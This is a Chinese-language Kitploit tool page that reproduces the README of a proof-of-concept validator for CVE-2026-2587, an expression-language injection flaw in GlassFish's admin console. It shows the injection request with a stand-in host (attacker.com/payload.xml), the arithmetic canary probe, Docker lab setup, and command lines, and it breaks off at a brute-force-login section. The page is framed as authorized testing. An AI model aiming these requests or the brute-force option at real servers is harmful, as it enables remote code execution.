Skip to content
KitploitKITPLOIT
工具博客
Log in
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-2587-Exploit-POC — CVE-2026-2587 PoC验证器,用于Eclipse GlassFish admin console中gadget.jsf处理器的EL注入远程代码执行漏洞。安全的经过身份验证的漏洞扫描器,专为授权测试设计。 | Kitploit
工具/GitHubGitHub/bhanunamikaze/cve-2026-2587-exploit-poc
漏洞扫描器动态分析 (沙盒)漏洞分析代码分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育实验室与实践

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
GitHubbhanunamikaze/cve-2026-2587-exploit-poc

CVE-2026-2587-Exploit-POC

CVE-2026-2587 PoC验证器,用于Eclipse GlassFish admin console中gadget.jsf处理器的EL注入远程代码执行漏洞。安全的经过身份验证的漏洞扫描器,专为授权测试设计。

查看仓库网站
1104个月前尚未审核
分享

CVE-2026-2587 漏洞验证PoC — Eclipse GlassFish EL注入远程代码执行验证工具

CVE-2026-2587的安全PoC验证器,这是一个影响Eclipse GlassFish管理控制台组件处理(通过/common/gadgets/gadget.jsf)的严重EL注入/远程代码执行漏洞。

该工具帮助安全团队使用良性的算术EL检测值,在授权环境中验证GlassFish CVE-2026-2587的暴露风险。

分配者: Eclipse Foundation (CNA) · 发布时间: 2026年5月19日 CVSS: 9.6 Critical · AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H CWE: CWE-917 — 表达式语言注入 受影响版本: 未知(截至2026年5月21日的公开公告) 已修复版本: 未知(截至2026年5月21日的公开公告) 扫描规则: 版本仅用于路由/报告上下文;判定需要实际证明。


目录

  • 漏洞概述
  • 工作原理
  • 认证要求
  • 设置
  • 实验环境 (Docker)
  • 生成探测XML
  • 使用方法 — 单个目标
    • 本地/Docker
    • 凭据
    • 暴力破解登录
    • 通过Cloudflare隧道远程
    • 预托管静态XML
    • 通过ngrok远程 (最后手段)
    • 仅未认证检查
  • 使用方法 — 多个目标
    • 目标文件格式
    • 并行扫描
  • 输出格式
    • 控制台
    • CSV
    • JSON
    • 组合输出
  • 高级选项
    • 端点和版本发现
    • 自定义监测值
    • 自定义请求头
  • 测试用例
  • 输出解读
  • 手动验证
  • 修复建议
  • 参考
  • 免责声明

漏洞概述

在 GlassFish 管理控制台组件处理器中存在一个严重的远程代码执行漏洞。该应用程序处理通过 gadget= 查询参数提供的URL获取的 .xml 文件,并在没有消毒或转义的情况下,通过 Java 表达式语言 (EL) 引擎 评估 <ModulePrefs> 属性中的用户提供值。``` GET /common/gadgets/gadget.jsf?gadget=http://attacker.com/payload.xml

如果 XML 在 `<ModulePrefs title="">` 属性中包含 `#{7*7}`,GlassFish 会在服务器端对其求值并返回 `49`——从而确认 EL 表达式执行。随后可通过 EL 对 Java 运行时的访问实现完整的 RCE 链。

当前公开的公告记录并未公布受影响或已修补的版本边界。因此,此验证器采用“先证明”原则:它会对 GlassFish 进行指纹识别并报告版本元数据,但不会仅凭版本字符串将目标分类为易受攻击。

---

## 工作原理

![CVE-2026-2587 的安全验证工作流程](https://assets.kitploit.com/production/public/readmes/15612/d24fad85e9cfd24152f916ba71622ed442636e171c4e912ad5ffd7d973f9a6ba.png)

安全验证路径会托管一个良性的 XML 探测文件,向 `gadget.jsf` 发送经身份验证的管理控制台请求,让 GlassFish 从回调 URL 获取该 XML,并检查 `<ModulePrefs title="">` 探针是否从 `#{7*7}` 求值为 `49`。

**注入点已确认 vs. 未确认:**```xml
<!-- ✅ EL IS evaluated -->
<ModulePrefs title="#{7*7}" />              <!-- returns 49 -->
<ModulePrefs description="#{7*7}" />        <!-- returns 49 -->

<!-- ❌ EL NOT evaluated -->
<Content type="html">
  <![CDATA[ #{7*7} ]]>                      <!-- returns #{7*7} literally -->
</Content>

认证要求

场景需要认证?
直接访问 gadget.jsf是 — 表单认证,返回200登录页面
真实世界的CSRF攻击否 — 利用管理员的活动会话
此验证器是 — 使用 --cookie 或 --username/--password
未认证暴露检查否 — 脚本自动测试此情况

CVSS向量 PR:N / UI:R 意味着:

  • PR:N — 攻击者不需要自身凭证
  • UI:R — 已登录的管理员必须交互(CSRF传递)

对于实验室验证,完全跳过CSRF — 直接使用你自己的管理员会话。


设置

要求: Python 3.9+ · `requests````bash git clone https://github.com/Bhanunamikaze/CVE-2026-2587-Exploit-POC cd CVE-2026-2587-Exploit-POC pip install requests

optional for coloured terminal output:

pip install colorama

**仓库内容:**```
CVE-2026-2587-Exploit-POC/
├── assets/
│   └── cve-2026-2587-validation-flow.png  ← README workflow diagram
├── CVE-2026-2587-Exploit-POC.py   ← main script
├── probe.xml                   ← ready-to-host static probe XML
├── targets.txt.example         ← multi-target file template
└── README.md

实验室环境(Docker)

注意: GHSA 仍将受影响和已修补的版本列为未知。 omnifish/glassfish:7.0.15 是一个很好的实验候选——不能保证是有漏洞的构建。 验证原语仍然是算术金丝雀:如果 #{7*7} 计算结果为 49,则 EL 是激活的。

选项 A — docker compose(推荐)```bash

from the repo root

docker compose -f docker-compose.lab.yml up

启动 GlassFish 7.0.15,仅将端口绑定到 `127.0.0.1`,并预配置 `host.docker.internal`,以便容器能够访问本地 XML 服务器。

### 选项 B — 直接使用 docker run```bash
docker run --rm \
  --name gf-cve-2026-2587-lab \
  -p 127.0.0.1:8080:8080 \
  -p 127.0.0.1:4848:4848 \
  --add-host=host.docker.internal:host-gateway \
  omnifish/glassfish:7.0.15

管理控制台:https://localhost:4848 · 登录:admin / admin (自签名证书 — 浏览器会出现警告。)


提供良性探测XML文件

在第二个终端中:```bash

The repo ships with probe.xml — serve it directly:

python3 -m http.server 8000 --bind 0.0.0.0

从容器的视角验证可达性:```bash
docker exec gf-cve-2026-2587-lab \
  curl -s http://host.docker.internal:8000/probe.xml | head -5

手动触发

首先登录管理员控制台(浏览器会话或 --cookie),然后:```bash curl -sk
-H "Cookie: JSESSIONID=YOUR_SESSION_ID"
"https://localhost:4848/common/gadgets/gadget.jsf?gadget=http%3A%2F%2Fhost.docker.internal%3A8000%2Fprobe.xml"
| grep -oE 'CVE2587_(TITLE|BODY)_[^"< ]+'

| Output | Meaning |
|---|---|
| `CVE2587_TITLE_49_END` | **存在漏洞** — 在 `ModulePrefs title` 中评估了 EL |
| `CVE2587_BODY_49_END` | **存在漏洞** — 在 CDATA body 中评估了 EL |
| `CVE2587_TITLE_#{7*7}_END` | 不存在漏洞 / 未评估 EL |
| *(no output)* | GlassFish 从未获取 XML — 检查回调可达性 |

> 通常即使在存在漏洞的构建中,CDATA body 也保持原始状态;仅凭正的 `TITLE` 结果就足以确认发现。

---

### 针对本地实验室的自动验证```bash
python3 CVE-2026-2587-Exploit-POC.py \
  --base https://localhost:4848 \
  --listen 0.0.0.0:8000 \
  --callback-url http://host.docker.internal:8000 \
  --username admin --password admin \
  --insecure --verbose

生成探针XML

该仓库附带了一个probe.xml文件,可直接使用。您也可以随时生成一个新的文件——当您想要自定义canary前缀或随机化值以使探针在每次参与中唯一时,这很有用。```bash

Generate with default values (CVE2587 prefix, #{7*7})

python3 CVE-2026-2587-Exploit-POC.py --generate-xml probe.xml

Generate with custom prefix and operands

python3 CVE-2026-2587-Exploit-POC.py
--generate-xml probe.xml
--prefix MYTEST --left 13 --right 17

Print to stdout (pipe to a server, gist, etc.)

python3 CVE-2026-2587-Exploit-POC.py --generate-xml -

Generate with random values (different every run)

python3 CVE-2026-2587-Exploit-POC.py
--generate-xml probe_$(date +%s).xml
--prefix SCAN$(date +%s) --left 31 --right 127

写入文件后的输出:```
[+] probe XML written → probe.xml
    Expression  : #{7*7}
    Expects     : CVE2587_TITLE_49_END  in response title
    Host this file at a URL reachable by the target server.
    Then run:
      --xml-url http://YOUR_SERVER/probe.xml
      --prefix CVE2587 --left 7 --right 7

使用方法 — 单目标

本地主机 / Docker

当 GlassFish 在本地或同一台机器的 Docker 中运行时使用。

在登录管理控制台后,从浏览器 DevTools → Application → Cookies 中获取你的 JSESSIONID,然后:```bash

Docker — GlassFish in container, script on host

python3 CVE-2026-2587-Exploit-POC.py
--base https://localhost:4848
--listen 0.0.0.0:8000
--callback-url http://host.docker.internal:8000
--cookie "JSESSIONID=YOUR_SESSION_ID"
--insecure --verbose

Localhost (no Docker)

python3 CVE-2026-2587-Exploit-POC.py
--base https://localhost:4848
--listen 0.0.0.0:8000
--callback-url http://127.0.0.1:8000
--cookie "JSESSIONID=YOUR_SESSION_ID"
--insecure

> `host.docker.internal` 在 Docker 内部解析为主机。
> GlassFish 容器通过此地址获取您的探针 XML。

---

### 凭据```bash
python3 CVE-2026-2587-Exploit-POC.py \
  --base https://localhost:4848 \
  --listen 0.0.0.0:8000 \
  --callback-url http://host.docker.internal:8000 \
  --username admin --password admin \
  --insecure --verbose

如果表单登录失败,脚本会回退并尝试端点。
如果端点也失败,它会打印获取会话 cookie 的逐步指导。


暴力破解登录

下载工具